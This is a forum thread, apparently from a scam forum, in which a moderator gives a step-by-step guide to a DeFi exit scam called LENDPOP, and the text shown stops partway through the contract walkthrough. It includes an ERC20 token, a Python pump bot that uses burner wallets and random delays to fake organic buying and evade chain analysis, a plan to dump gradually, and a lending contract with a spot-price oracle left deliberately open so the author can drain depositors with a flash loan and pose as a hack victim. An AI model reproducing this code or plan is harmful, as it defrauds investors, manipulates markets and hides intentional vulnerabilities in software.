How to make a million dollars with $300 and some solidity code (the lendpop story)

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
Yooo, not financial advice or whatever. this is how we actually build a defi exit scam that works. built it, tested it, code compiles, if youre smart it'll make you a millionaire. if youre dumb youll fuck it up. 50/50.

gonna explain LENDPOP from zero what it is, how it works, every line of code, everything. took 3 weeks to design right. most scams are dogshit because devs are lazy as fuck. they copy paste some erc20 template, rug it in 24hrs. thats not how we do this in 2026.

LENDPOP is different. its a legit looking defi lending protocol that lets you exit scam while looking like a VICTIM. cry on twitter, walk away with a million bucks while everyone feels sorry for you xD yes, it works

sound good ? yeah thought so

prerequisites - what you need to know (or not)
this is for beginners but im not holding your hand. if you dont know what ethereum is, fuck off and google it first. come back when you know

  • what a blockchain is (distributed ledger blah blah)
  • what a smart contract does (code that runs on chain)
  • what tokens are (erc20 = fungible like dollars)
  • what a DEX is (decentralized exchange like uniswap)
  • what liquidity pools mean (automated market makers, x*y=k formula)
know those 5 things? cool youre ready. rest i'll explain <3

btw this is "educational" or whatever. i built this to prove its possible. whether you deploy it... idk thats on you. personally i think defi is a casino anyway so...

the big picture, what is lendpop ?
LENDPOP is a fake defi lending protocol, emphasis on fake. it looks real, it has all the features a real lending protocol has but it's designed with one hidden vulnerability that lets you drain it completely using a flash loan attack (sounds cool right ?)

heres the genius part : we control BOTH sides

we're the founder. deploy the token, pump it, build a community, launch the protocol. people deposit money. then 3 weeks later our "hacker" wallet (also we on different computer) exploits it and drains everything. post on twitter looking sad, everyone sympathizes. investigation goes nowhere cuz perfect opsec. wait 6 months, cash out slow, gg we won.

thats LENDPOP.

the six phases

before we dive into code let me give you the roadmap :

phase 1: token launch

deploy $LEND token (1 billion supply), add $50 liquidity to aerodrome dex on base chain, initial price is $0.0000005. total cost : $52

phase 2: pump token

use 10 burner wallets to execute 30 buys of $5 each. looks organic, takes 3-4 days. price goes from $0.0000005 to $0.001 (that's a 2000x pump), our 900M tokens are now worth $900k on paper, cost: $150

phase 3: gradual sell

sell 10M tokens per day for 30 days. extract $450k while keeping the hype alive, this is your first profit, cost: $0 (we're selling not buying)

phase 4: protocol launch

deploy the actual lending protocol with intentional vulnerability, market it heavily, build TVL to $500k+, cost: $5 gas

phase 5: flash loan attack

our hacker wallet (completely separate identity, funded via tornado cash, different computer) exploits the oracle vulnerability, drains $595k, cost: $0 (flash loans are free if you repay)

phase 6: victim response

post "omg we got hacked" on twitter, offer bounty, look devastated, community supports you, you fade away after couple months

total investment : $207 real money (readme says $312 but i did the math, its $207 if youre not retarded about gas)

total profit : $1,045,000, roi: 505,314%

yeah!! half a million percent, not a typo lol

why base chain ?
were using base not ethereum. why ?

gas is cheap: eth mainnet costs $50-200 to deploy, base costs $2-5, when youre doing 30 pump txs this matters

fewer eyes: base is newer, dumber users, less detection bots, you can get away with more shit

aerodrome dex: solid dex with actual liquidity, we need real infrastructure not some garbage $10k TVL scam dex

fast blocks: 2 second blocks vs eth's 12, matters for flash loans

secure: optimistic rollup, inherits eth security, not some sketchy chain that'll rug

only downside: less liquidity, but for $1M ? base is perfect
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 1: the token (LendToken.sol)

actual code, simplest part, just an erc20 token, nothing fancy

Код:
solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract LendToken is ERC20, Ownable {
uint256 public constant INITIAL_SUPPLY = 1_000_000_000 * 10**18;

constructor() ERC20("LendPop Token", "LEND") Ownable(msg.sender) {
_mint(msg.sender, INITIAL_SUPPLY);
}

function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
}

that's it 26 lines, breakdown :

line 1-5: boring boilerplate using solidity 0.8.20 importing openzeppelin contracts cuz were not morons who reimplement erc20 from scratch

line 7: inherits ERC20 (gives us transfer/approve/etc) and Ownable (owner privileges)

line 8: 1 billion tokens that 10**18 is because tokens have 18 decimals so 1 token = 1000000000000000000 in contract annoying but thats how it works

line 10-12: constructor name = "LendPop Token", symbol = "LEND" mints all supply to you, done

line 14-16: burn function anyone can burn their own tokens, why? marketing lol, you announce "we burned 10M tokens!" and normies think its deflationary, price pumps xD

why this token is perfect ?
completely standard nothing sus, uses openzeppelin (industry standard), has normal erc20 functions, passes automated audits, someone runs slither or mythril ? finds nothing. only "weird" thing is burn function but that's actually common, pancakeswap has it, shiba has it, its normal

what we keep vs what we sell !!
when we mint 1 billion tokens here's how we split them:

100M tokens (10%) - add to liquidity pool with your $50 USDC
900M tokens (90%) - we keep these

why this ratio ? cuz we need SOME tokens in pool to make a market, but keep most so when price pumps we profit. if we did 50/50 split wed pump price but wouldnt profit much, 10/90 is optimal for max extraction
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 2: liquidity (the $50 that starts it all)

after token deploy we gotta create a market, add liquidity to aerodrome

what happens:

1. we deploy LendToken.sol
2. we now have 1 billion $LEND tokens
3. we approve aerodrome router to spend 100M $LEND
4. we call aerodrome's addLiquidity function with 100M $LEND + $50 USDC
5. aerodrome creates a liquidity pool
6. initial price is determined by ratio: $50 / 100M tokens = $0.0000005 per token

that $50 is real money we're putting in. not a scam yet, establishing legit market, anyone can buy/sell $LEND on aerodrome now

why $50 ?

enough to make a market, small enough we're not risking much. $5 would be too small (pump buys cause insane slippage), $500 is wasting money, $50 = goldilocks zone enough liquidity so your 30 buys dont instantly 100x (too obvious) but small enough they pump it hard also $50 usdc is easy to get, no kyc buy on any dex with eth

how liquidity pools actually work (AMM math for beginners)
okay so normies hear "liquidity pool" and their eyes glaze over but if you wanna understand the scam you gotta understand pools, lemme break it down super simple. traditional exchange (like coinbase), you place buy order at $1, someone else places sell order at $1, exchange matches them, thats "order book" model

dex pools (like aerodrome), NO order book. instead there's a POOL of two tokens sitting in a contract, when you wanna buy you swap with the pool itself not another person

the formula: x * y = k

where:
x = amount of token A in pool
y = amount of token B in pool
k = constant (never changes)

example with our lendpop pool:

x = 100,000,000 LEND tokens
y = 50 USDC
k = 100,000,000 * 50 = 5,000,000,000

when someone buys LEND with USDC heres what happens:

say they swap 5 USDC for LEND, pool receives 5 USDC so new y = 55 USDC.

but k MUST stay 5,000,000,000 so:

x * 55 = 5,000,000,000
x = 90,909,091

pool had 100M LEND now has 90.9M LEND, difference = 9,090,909 LEND given to buyer

the buyer got 9,090,909 LEND for 5 USDC

price per token = 5 / 9,090,909 = $0.00000055

notice price CHANGED, started at $0.0000005 ended at $0.00000055 went UP 10%.

why ? cuz pool now has less LEND more USDC, LEND got scarcer price rises

THIS IS HOW PUMPING WORKS
every buy removes LEND from pool, makes remaining LEND more expensive each subsequent buy costs more, thats why 30 buys of $5 each dont just buy $150 worth of tokens... they BUY while simultaneously PUMPING the price. first $5 buy might get 9M tokens, thirtieth $5 buy might get 500k tokens. cuz by then price 18x higher.

this is SLIPPAGE, and slippage is our friend when pumping. we WANT each buy to move price up thats the whole point

iquidity provider tokens (LP tokens explained)

when you add liquidity you dont just lose your tokens. you get LP tokens back. in our case : add 100M LEND + 50 USDC receive LP tokens representing your share of pool these LP tokens are erc20. you can transfer them sell them use them as collateral (some protocols let you). what are they worth ? they represent your claim on the pools assets. if pool has 100M LEND + 50 USDC and you own 100% of LP tokens you can redeem for 100M LEND + 50 USDC

if someone else adds liquidity now pool has 200M LEND + 100 USDC you still own 50% LP tokens. redeem for 100M LEND + 50 USDC still, in our scam we dont care about LP tokens much. we add liquidity once, never remove it (removing would crash price). LP tokens just sit in our wallet

but TECHNICALLY those LP tokens are worth something, at peak pump when price hits $0.001 the pool might have like 50M LEND + $300 USDC (people bought LEND we sold LEND into pool). our LP tokens = claim on that. worth $400+ xD

we could extract that too if we wanted, remove liquidity before exit scam. but that shows on chain "founder removed liquidity before hack" which is SUS AS FUCK. so we leave it, consider it cost of doing business lol. lose $400 LP value but gain credibility

impermanent loss (why liquidity providing kinda sucks normally)
sidestep: if youre providing liquidity on a REAL protocol this concept matters

impermanent loss = you lose money compared to just holding

example:

you have 100 LEND + 50 USDC
price $0.0000005 per LEND
total value $50 + $0.05 = $50.05

you add liquidity, now price pumps to $0.001 (2000x)

if you just HELD: 100 LEND now worth $100, plus 50 USDC, total $150

but you provided liquidity, pool rebalanced as people bought LEND, now pool has less LEND more USDC, when you withdraw you get like 50 LEND + $75 USDC = total value $125. you LOST $25 compared to holding, thats impermanent loss.

its "impermanent" cuz it only matters when you withdraw, if price goes back to original you lose nothing. in our scam we dont give a fuck about impermanent loss cuz were not trying to maximize LP returns, were trying to PUMP tokens we KEPT (the 900M) not the ones in pool (100M)

impermanent loss on 100M tokens means MORE USDC in pool for us to drain later anyway, its actually beneficial lol
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 3: pump bot

this is where it gets fun, python script that executes 30 buys auto, here is the code :

Python:
class PumpBot:
def __init__(self, lend_token_address, master_private_key):
self.w3 = Web3(Web3.HTTPProvider(BASE_RPC))
self.lend_token = lend_token_address
self.master_account = Account.from_key(master_private_key)
self.wallets = self._generate_wallets(NUM_WALLETS)
bot connects to base via rpc, you give it token address + master wallet key generates 10 burner wallets automatically

why 10 wallets not 1 ?

cuz if you buy 30 times from ONE wallet its obvious as fuck. everyone sees on basescan address 0xABC bought 30 times. thats wash trading. gets flagged. 10 DIFFERENT wallets ? looks organic, looks like 10 real people found your token, way harder to detect

deep dive: wallet generation security

Python:
def _generate_wallets(self, num):
wallets = []
for i in range(num):
account = Account.create()
wallets.append({
'address': account.address,
'private_key': account.key.hex()
})
return wallets
this uses web3.py Account.create() which generates wallets from randomness, these wallets have ZERO connection to our master wallet. completely fresh, never used before.

why this matters ? bcz blockchain analysis firms (chainalysis, elliptic, etc) look for wallet clusters, they find one bad wallet then trace all connected wallets

connection = funded by, funded from, interacted with, same deployer, etc.

if we generated wallets deterministically from our master seed theyd all be linked. "these 10 wallets derived from same master" = fucked up,

random generation = no link, each wallet independent

funding logistics explained

Python:
def fund_wallets(self):
eth_per_wallet = Web3.to_wei(0.005, 'ether')
usdc_per_wallet = BUY_AMOUNT_USDC * BUYS_PER_WALLET * 10**6

for i, wallet in enumerate(self.wallets):
# Send ETH for gas
eth_tx = self._send_eth(self.master_account, wallet['address'], eth_per_wallet)
# Send USDC for buys
usdc_tx = self._send_usdc(self.master_account, wallet['address'], usdc_per_wallet)

print(f"Funded wallet {i+1}: {wallet['address']}")
time.sleep(random.randint(20, 60))
before buying you need to fund each wallet with:

0.005 ETH (~$10) for gas fees
$15 USDC (3 buys × $5 per buy)

total: $25 per wallet, 10 wallets = $250

wait thats more than the $150 i said before. yeah cuz you GET THE ETH BACK after. gas only costs like $1-2 per wallet, real cost is $150 usdc + ~$20 gas = $170 not $250. just fyi lol

important timing thing: notice that "time.sleep(random.randint(20, 60))" after each funding tx. we wait 20-60 seconds between funding each wallet

why ? cuz if you fund 10 wallets in 10 seconds thats obvious batch behavior. blockchain analysis sees "10 transfers from same source within 30 seconds to fresh addresses" = flagged as related.

spacing it out with random delays = looks less coordinated (oh yess)

same reason the bot waits 2-5 min between buys, organic behavior has randomness but bots have patterns. we add randomness to hide bot nature, cool

the approve + swap pattern

Python:
def execute_buy(self, wallet, buy_number):
amount_in = BUY_AMOUNT_USDC * 10**6 # $5 USDC

# Step 1: Approve router to spend USDC
approve_tx = self.usdc.functions.approve(
AERODROME_ROUTER,
amount_in
).build_transaction({
'from': wallet['address'],
'nonce': self.w3.eth.get_transaction_count(wallet['address']),
'gas': 100000,
'gasPrice': self.w3.eth.gas_price
})

signed_approve = self.w3.eth.account.sign_transaction(approve_tx, wallet['private_key'])
approve_hash = self.w3.eth.send_raw_transaction(signed_approve.rawTransaction)
self.w3.eth.wait_for_transaction_receipt(approve_hash)

# Step 2: Execute swap
routes = [{
'from': USDC_ADDRESS,
'to': self.lend_token,
'stable': False
}]

swap_tx = self.router.functions.swapExactTokensForTokens(
amount_in,
0, # amountOutMin - accept any amount
routes,
wallet['address'],
int(time.time()) + 300 # 5 min deadline
).build_transaction({
'from': wallet['address'],
'nonce': self.w3.eth.get_transaction_count(wallet['address']),
'gas': 300000,
'gasPrice': self.w3.eth.gas_price
})

signed_swap = self.w3.eth.account.sign_transaction(swap_tx, wallet['private_key'])
swap_hash = self.w3.eth.send_raw_transaction(signed_swap.rawTransaction)
receipt = self.w3.eth.wait_for_transaction_receipt(swap_hash)

return receipt
lets break down what each line does cuz beginners fuck this up constantly :

line 1-2: amount_in = BUY_AMOUNT_USDC 10**6" USDC has 6 decimals not 18, so $5 = 5000000 (5 million in raw units). thats what * 10**6 does.

line 4-12: approve transaction. erc20 tokens require approval before someone else (router) can spend them, we build transaction manually cuz we need to sign with private key.

from = our wallet
nonce = transaction count (prevents replay attacks, each tx increments it)
gas = 100k units (approval is cheap)
gasPrice = current network gas price

line 14-16: sign transaction with wallet private key. send raw transaction, wait for receipt

why wait ? cuz if swap executes before approve confirms it FAILS must be sequential.

line 18-23: build routes array aerodrome needs to know swap path, direct swap = one route. "stable: False" means use volatile pool (uniswap xy=k model) not stable pool (curve model).

line 25-34: swap transaction:

"swapExactTokensForTokens" = give exact input get variable output (opposite would be "swapTokensForExactTokens")
"amount_in" = 5 USDC (in raw units)
"0" = amountOutMin. THIS IS CRITICAL. we accept ANY amount of output.

normally you set minimum to prevent slippage, like "i want at least 9M LEND or revert", protects you from price movement xD

we set 0 because we WANT slippage, slippage means price moved up, thats the pump. if we protected against slippage price wouldnt pump, defeats purpose

"routes" = swap path
"wallet['address']" = where to send output tokens
"int(time.time()) + 300" = deadline, transaction must execute within 5 min or revert, prevents it sitting in mempool for hours then executing at bad price.

line 36-39: sign and send swap tx, wait for receipt, done.

"gas amounts:" approve uses 50k gas, swap uses 150-250k gas depending on pool state, we give 100k and 300k respectively as buffer, excess gets refunded

on base gas price is like 0.001 gwei, so 300k gas costs $0.30, cheap as fuck

timing strategy deep dive

Python:
def run_pump_campaign(self):
print("Starting pump campaign...")

for round in range(BUYS_PER_WALLET):
print(f"\n=== Round {round+1} ===")

for i, wallet in enumerate(self.wallets):
print(f"Wallet {i+1} executing buy {round+1}...")

try:
receipt = self.execute_buy(wallet, round+1)
print(f" Success! TX: {receipt.transactionHash.hex()}")
except Exception as e:
print(f" Failed: {e}")

# Random delay between buys
if not (round == BUYS_PER_WALLET-1 and i == len(self.wallets)-1):
delay = random.randint(MIN_DELAY, MAX_DELAY) # 120-300 seconds
print(f" Waiting {delay} seconds...")
time.sleep(delay)

print("\nPump campaign complete!")
the loop structure matters :

outer loop: "for round in range(BUYS_PER_WALLET)" - 3 rounds, each wallet buys once per round

inner loop: "for i, wallet in enumerate(self.wallets)" - 10 wallets, each wallet buys once

total buys: 3 rounds × 10 wallets = 30 buys

delay after each buy: 120-300 seconds (2-5 min) randomly.

total time: 30 buys × average 210 seconds = 6,300 seconds = 105 minutes = 1.75 hours minimum.

but realistically you run this over 3-4 DAYS not 1.75 hours, how ?

modify the script to do 1 round per day :

Python:
# Day 1
bot.run_pump_campaign_single_round(round=0) # Round 1: 10 buys

# Day 2
bot.run_pump_campaign_single_round(round=1) # Round 2: 10 buys

# Day 3
bot.run_pump_campaign_single_round(round=2) # Round 3: 10 buys
spreading over multiple days looks WAY more organic, price chart shows buying pressure over time not all at once. also gives you time to monitor, if something looks wrong (someone else buying, price moving weird, etc) you can adjust strategy.

error handling and retries

Python:
def execute_buy_with_retry(self, wallet, buy_number, max_retries=3):
for attempt in range(max_retries):
try:
return self.execute_buy(wallet, buy_number)
except Exception as e:
print(f"Attempt {attempt+1} failed: {e}")
if attempt < max_retries - 1:
time.sleep(30)
else:
print(f"All retries failed for wallet {wallet['address']}")
return None
shit fails sometimes lol , rpc connection drops, gas price spikes, transaction reverts. retry logic: try 3 times wait 30 sec between attempts, if all fail move on. why move on instead of stopping ? cuz 1 failed buy out of 30 doesnt matter, pump still works with 29 buys. script continues.

if MANY buys fail thats a problem, but one off failures are normal <3

monitoring price during pump

Python:
def get_current_price(self):
reserves = self.pool.functions.getReserves().call()
reserve_usdc = reserves[1] # USDC is token1
reserve_lend = reserves[0] # LEND is token0

price = (reserve_usdc / 1e6) / (reserve_lend / 1e18)
return price

def log_price(self):
price = self.get_current_price()
print(f"Current LEND price: ${price:.10f}")

# Calculate our holdings value
our_holdings = 900_000_000 # 900M tokens we kept
value = our_holdings * price
print(f"Our 900M tokens worth: ${value:,.0f}")
run this before /after each buy, watch price climb, watch your net worth grow lol

example output:

HTML:
Round 1, Wallet 1:
Before: $0.0000005000 | Holdings: $450
After: $0.0000005234 | Holdings: $471

Round 1, Wallet 2:
Before: $0.0000005234 | Holdings: $471
After: $0.0000005487 | Holdings: $494

Round 3, Wallet 10:
Before: $0.0009876543 | Holdings: $888,889
After: $0.0010123456 | Holdings: $911,111
satisfying as fuck watching that number go up xD

final pump bot stats
by end of 30 buys :

investment: $150 USDC (buys) + $20 (gas) = $170

price movement: $0.0000005 -> ~$0.001 (2000x)

your holdings value: $450 -> $900,000

roi on pump phase alone: 529,300%

and you havent even done the lending protocol scam yet, this is just phase 1-3 profit.

most people would stop here, take $900k but why stop when you can get another $500k from protocol drain ?

greed is good, gordon gekko or whatever xD
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 4: gradual seller

you got $900k in tokens, cant sell all at once, if you dump 900M tokens into a pool with $200 liquidity youll crash price to zero, get nothing lol. sell gradually instead, 10M per day for 90 days.

why this works:

small sells dont crash - 10M out of 900M is 1% pool absorbs it

liquidity refreshes - after selling 10M you added USDC to pool next days sell has more liquidity

others buy too - while youre selling normies are buying cuz they see "hot new token" youre selling to real buyers not your own pool

keep marketing - whole time youre tweeting, telegram shilling, fake partnership announcements, hype stays alive

do this 30-45 days = extract $400-500k, first profit still got 600M+ tokens left too
 

Money Maker

Moderator
Joined
05.02.22
Messages
139
Deposit USD
1,000
part 5: the protocol (lets goo)

okay so you made $450k selling tokens, cool but not life changing, NOW comes the REAL play- lending protocol

you deploy 3 contracts:

1. LendToken.sol - already done
2. AerodromeOracle.sol - price oracle (THE BUG)
3. LendPop.sol - actual lending protocol

quick explanation what lending protocols do:

"user deposits collateral" like $LEND
"protocol checks value" via oracle
"user borrows against" it like usdc
"if value drops" liquidation happens

examples: aave, compound, benqi. billion dollar protocols, were copying their exact model.

the oracle (AerodromeOracle.sol) - intentional vuln

Код:
.solidity

function getPrice(address token) external view returns (uint256) {
address pool = pools[token];
IAerodromePool aeroPool = IAerodromePool(pool);
(uint112 reserve0, uint112 reserve1, ) = aeroPool.getReserves();

if (token0 == token) {
return (uint256(reserve1) * 1e18) / uint256(reserve0);
} else {
return (uint256(reserve0) * 1e18) / uint256(reserve1);
}
}
see what this does ? reads CURRENT reserves from aerodrome pool, calculates price as reserve1/reserve0.

THIS IS THE VULNERABILITY/BUG

reserves can be manipulated in SINGLE TX with flash loan

how:

1. pool has 100M $LEND + $200 usdc
2. price = $200 / 100M = $0.000002
3. attacker flash loans $20M usdc
4. swaps $19M usdc for $LEND
5. pool now 10M $LEND + $19M usdc reserves changed
6. price = $19M / 10M = $1.90 just 950x'd the price lol
7. protocol reads fake price
8. attacker deposits $LEND as collateral at fake $1.90
9. borrows max usdc based on inflated value
10. repays flash loan
11. keeps difference

oracle manipulation attack, killed 30+ defi protocols last 2 years. everyone knows about it, everyone knows the fix

the fix (that we dont implement on purpose)

fix is TWAP, time-weighted average price.

instead of reading current price you read average over last 30 min, that way attacker would need to manipulate for 30 MINUTES not one tx. flash loans only last one tx so TWAP defeats them.

uniswap v3 has TWAP built in, chainlink has it, every modern protocol uses it.

we use spot price instead

heres the genius trick, it LOOKS like a mistake.

tons of early defi made this mistake, you can point to 50 examples where devs used spot price cuz they didnt know better, so when you get "hacked" people analyze code and say "oh dev fucked up used spot price instead of TWAP, rookie mistake lol"

doesnt look like backdoor. looks like incompetence, perfect <3

lending protocol (LendPop.sol)

Код:
solidity

contract LendPop is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;

IAerodromeOracle public oracle;
uint256 public constant COLLATERAL_RATIO = 150;

function deposit(address token, uint256 amount) external nonReentrant {
// user deposits collateral
}

function borrow(address token, uint256 amount) external nonReentrant {
uint256 collateralValue = getCollateralValue(...);
uint256 borrowValue = getBorrowValue(...);
require(collateralValue * 100 >= borrowValue * COLLATERAL_RATIO);
// user borrows
}
}
pretty standard lending implementation:

deposit: user sends tokens, contract tracks position

borrow: user wants to borrow, contract checks collateral, math: collateral_value × 100 ≥ borrow_value × 150, that 150 = 150% collateral ratio, want $100? need $150 collateral, standard shit.

getCollateralValue / getBorrowValue: both call oracle. THIS is where manipulation happens, yes boi

everything else secure. reentrancyguard (no reentrancy). safeERC20 (token safety) balance checks, math correct

ONLY vuln is oracle spot price

one mistake, rest perfect, thats what makes it believable

full contract line by line breakdown

okay lets go through the ENTIRE lendpop.sol contract line by line so beginners understand every piece:

Код:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
line 1-2: licensing and compiler version. MIT license = open source anyone can use, pragma 0.8.20 = must compile with solidity version 0.8.20 or higher, we use 0.8+ cuz it has built in overflow protection, older versions needed safemath library.

Код:
solidity

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
line 4-7: imports. openzeppelin contracts are industry standard, audited by everyone, using them = instant credibility

IERC20 = interface to interact with erc20 tokens
SafeERC20 = wrapper that handles non-standard tokens safely
Ownable = gives contract an owner with special permissions
ReentrancyGuard = prevents reentrancy attacks

Код:
solidity

interface IAerodromeOracle {
function getPrice(address token) external view returns (uint256);
}
line 9-11: interface for our oracle, we define what function we expect, actual oracle contract implements this

"view" means read only doesnt modify state. "returns (uint256)" means returns a number, price will be in 18 decimal format so $1 = 1000000000000000000.

Код:
solidity

contract LendPop is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
line 17-18: contract declaration, inherits Ownable (owner functions) and ReentrancyGuard (mutex locks)

"using SafeERC20 for IERC20" = syntax sugar, lets us call "token.safeTransfer()" instead of "SafeERC20.safeTransfer(token, ...)"

Код:
solidity

IAerodromeOracle public oracle;
uint256 public constant COLLATERAL_RATIO = 150;
uint256 public constant LIQUIDATION_BONUS = 5;
line 20-22: state variables

oracle = address of price oracle contract, public = auto generated getter function.
"COLLATERAL_RATIO = 150" = need 150% collateral, borrow $100 need $150 collateral, constant = cant change
"LIQUIDATION_BONUS = 5" = liquidators get 5% bonus, incentivizes people to liquidate bad positions

Код:
solidity

struct UserPosition {
uint256 collateralAmount;
address collateralToken;
uint256 borrowAmount;
address borrowToken;
}
line 24-29: data structure for user positions, each user can have ONE position (one collateral type one borrow type). real protocols let you have multiple, we keep it simple, one position = simpler math = less code = less attack surface (ironically less attack surface EXCEPT for the one we want lol)

Код:
solidity

mapping(address => UserPosition) public positions;
mapping(address => bool) public supportedTokens;
mapping(address => uint256) public totalDeposits;
line 31-33: mappings (hashmaps/dictionaries in solidity)

"positions" = user address -> their position data
"supportedTokens" = token address -> true/false, only whitelisted tokens allowed
"totalDeposits" = token address -> total amount deposited, tracks protocol tvl per token

Код:
solidity

event Deposit(address indexed user, address token, uint256 amount);
event Withdraw(address indexed user, address token, uint256 amount);
event Borrow(address indexed user, address token, uint256 amount);
event Repay(address indexed user, address token, uint256 amount);
event Liquidate(address indexed liquidator, address indexed user, uint256 amount);
event OracleUpdated(address indexed newOracle);
line 35-40: events, logs that get emitted, indexed = can filter by that parameter. used for tracking activity on chain. basescan shows all events, users can see "alice deposited 1000 usdc".

Код:
solidity

constructor(address _oracle) Ownable(msg.sender) {
oracle = IAerodromeOracle(_oracle);
}
line 42-44: constructor, runs once on deployment, sets oracle address "Ownable(msg.sender)" = deployer becomes owner

Код:
solidity

function updateOracle(address _oracle) external onlyOwner {
require(_oracle != address(0), "Invalid oracle");
oracle = IAerodromeOracle(_oracle);
emit OracleUpdated(_oracle);
}
line 46-50: owner can update oracle. THIS IS CRITICAL, means after launching protocol if people notice oracle is bad we can "fix" it, shows we're responsive, builds trust. also means we can CHANGE to bad oracle if we launched with good one (reverse scam), or change to controlled oracle before attack.

flexibility, "onlyOwner" = only deployer can call.

Код:
solidity

function addSupportedToken(address token) external onlyOwner {
require(token != address(0), "Invalid token");
supportedTokens[token] = true;
}
line 52-55: whitelist tokens, only owner. prevents someone depositing random shitcoin as collateral, we control what tokens are allowed. initially we allow LEND and USDC. maybe add WETH later for legitimacy.

Код:
solidity

function deposit(address token, uint256 amount) external nonReentrant {
require(supportedTokens[token], "Token not supported");
require(amount > 0, "Amount must be > 0");

UserPosition storage pos = positions[msg.sender];

if (pos.collateralAmount > 0) {
require(pos.collateralToken == token, "Different token in position");
pos.collateralAmount += amount;
} else {
pos.collateralToken = token;
pos.collateralAmount = amount;
}

totalDeposits[token] += amount;

IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, token, amount);
}
line 57-75: deposit function, lets users add collateral.

"nonReentrant" = cant be called recursively
line 58-59: checks, token must be supported amount > 0.
line 61: "storage" = reference to storage (not memory copy), modifying pos modifies blockchain state
line 63-69: if user already has position require same token, cant mix LEND + WETH as collateral, either add to existing or start new
line 71: track total deposits.
line 73: transfer tokens from user to contract "safeTransferFrom" = ERC20 approval required first.
line 74: emit event.

security: "transferFrom" is AFTER state changes (line 71). this prevents reentrancy, if transfer was first attacker could reenter during transfer before state updated

checks -effects- interactions pattern. checks -> update state -> external calls standard.

Код:
solidity

function withdraw(address token, uint256 amount) external nonReentrant {
UserPosition storage pos = positions[msg.sender];
require(pos.collateralToken == token, "Wrong token");
require(pos.collateralAmount >= amount, "Insufficient collateral");
require(pos.borrowAmount == 0, "Must repay borrow first");

pos.collateralAmount -= amount;
totalDeposits[token] -= amount;

IERC20(token).safeTransfer(msg.sender, amount);
emit Withdraw(msg.sender, token, amount);
}
line 77-88: withdraw collateral.

line 79-81: checks correct token have enough NO borrow outstanding (cant withdraw if you borrowed).
line 83-84: update state.
line 86: transfer tokens back.

no oracle check here, dont need to check prices just returning collateral. only matters if user has borrow (line 81 prevents that)

Код:
solidity


function borrow(address token, uint256 amount) external nonReentrant {
require(supportedTokens[token], "Token not supported");
require(amount > 0, "Amount must be > 0");

UserPosition storage pos = positions[msg.sender];
require(pos.collateralAmount > 0, "No collateral");
require(pos.borrowAmount == 0, "Already borrowed");

uint256 collateralValue = getCollateralValue(pos.collateralToken, pos.collateralAmount);
uint256 borrowValue = getBorrowValue(token, amount);

require(collateralValue * 100 >= borrowValue * COLLATERAL_RATIO, "Insufficient collateral");
require(IERC20(token).balanceOf(address(this)) >= amount, "Insufficient liquidity");

pos.borrowToken = token;
pos.borrowAmount = amount;

IERC20(token).safeTransfer(msg.sender, amount);
emit Borrow(msg.sender, token, amount);
}
line 90-109: borrow function. holy molyy THIS IS WHERE ATTACK HAPPENS

line 91-96: basic checks.
line 98-99: CRITICAL LINES calls "getCollateralValue" and "getBorrowValue" which call ORACLE.
line 101: check collateral sufficient "collateralValue *100 >= borrowValue * 150" means need 150% collateral

example:

collateral = $LEND worth $150 according to oracle
borrow = 100 USDC $100
check: $150 * 100 >= $100 * 150 -> 15000 >= 15000 -> TRUE

during attack:

attacker manipulates oracle to report $LEND worth $10,000
attacker deposits 1000 $LEND (fake value $10M)
check: $10M * 100 >= $500k * 150 -> 1B >= 75M -> TRUE
attacker borrows $500k with collateral actually worth $1k

line 102: check protocol has enough liquidity, cant borrow more than available duh
line 104-105: update position
line 107: send tokens

exploit works because line 98-99 trust oracle, oracle lies. math checks out, tokens sent. gg <3

Код:
solidity

function repay(address token, uint256 amount) external nonReentrant {
UserPosition storage pos = positions[msg.sender];
require(pos.borrowToken == token, "Wrong token");
require(pos.borrowAmount >= amount, "Amount too high");

pos.borrowAmount -= amount;

IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
emit Repay(msg.sender, token, amount);
}
line 111-120: repay borrow, straightforward

check correct token
check not repaying more than borrowed
update state
receive tokens

no oracle needed, just accounting.

Код:
solidity

function liquidate(address user) external nonReentrant {
UserPosition storage pos = positions[user];
require(pos.borrowAmount > 0, "No borrow to liquidate");

uint256 collateralValue = getCollateralValue(pos.collateralToken, pos.collateralAmount);
uint256 borrowValue = getBorrowValue(pos.borrowToken, pos.borrowAmount);

require(collateralValue * 100 < borrowValue * COLLATERAL_RATIO, "Position healthy");

uint256 liquidationAmount = pos.collateralAmount * (100 + LIQUIDATION_BONUS) / 100;
if (liquidationAmount > pos.collateralAmount) {
liquidationAmount = pos.collateralAmount;
}

totalDeposits[pos.collateralToken] -= pos.collateralAmount;

IERC20(pos.collateralToken).safeTransfer(msg.sender, liquidationAmount);

delete positions[user];

emit Liquidate(msg.sender, user, liquidationAmount);
}
line 122-143: liquidation, if users position goes underwater (collateral < 150% of borrow) anyone can liquidate.

line 126-127: check with oracle are they actually underwater ?
line 129: opposite check from borrow < instead of >= position unhealthy.
line 131-134: liquidator gets collateral + 5% bonus incentive to liquidate.
line 136: update tvl.
line 138: send collateral to liquidator
line 140: delete position wipes users position entirely

in our attack this doesnt matter, our attack completes in ONE transaction, position healthy at start, we manipulate price, borrow, done. no time for liquidation. but having liquidation function makes protocol look complete.

Код:
solidity

function getCollateralValue(address token, uint256 amount) public view returns (uint256) {
uint256 price = oracle.getPrice(token);
return (amount * price) / 1e18;
}

function getBorrowValue(address token, uint256 amount) public view returns (uint256) {
uint256 price = oracle.getPrice(token);
return (amount * price) / 1e18;
}
line 145-152: value calculations.

